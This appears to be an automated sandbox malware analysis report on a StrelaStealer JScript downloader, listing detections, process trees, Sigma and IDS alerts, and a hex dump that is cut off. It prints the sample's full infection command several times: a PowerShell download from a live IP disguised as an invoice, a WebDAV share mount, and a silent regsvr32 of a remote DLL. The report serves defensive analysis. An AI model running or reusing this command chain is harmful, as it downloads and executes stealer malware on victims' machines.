Edit tour

Windows Analysis Report
244188544238313090.js

Overview

General Information

Sample name:	244188544238313090.js
Analysis ID:	1588957
MD5:	560b661ba13823a04e36dbc92fd3885d
SHA1:	3b1e8548f6194b315e68ffaaa654b0c95b347af4
SHA256:	a798d02fc606bfe52056dc7d02d30eb156ca74ff68b3d8af31ec7d09a39cf371
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1848 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3276 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1600 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4592 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1372,i,16510586454391097802,4470097566630698236,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3092 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1628 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7172 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1848	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3276, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1600, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3276, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1600, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ProcessId: 1848, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1628, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1848, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 3276, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1848, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 3276, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1848, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 3276, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1848, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 3276, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1848, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 3276, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ProcessId: 1848, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3276, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1600, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3092, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1628, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7172, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3092, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1628, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244188544238313090.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1848, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 3276, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:38:49.500659+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:38:52.250506+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:38:49.500659+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 244188544238313090.js	ReversingLabs: Detection: 15%
Source: 244188544238313090.js	Virustotal: Detection: 13%			Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 244188544238313090.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 244188544238313090.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:38:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 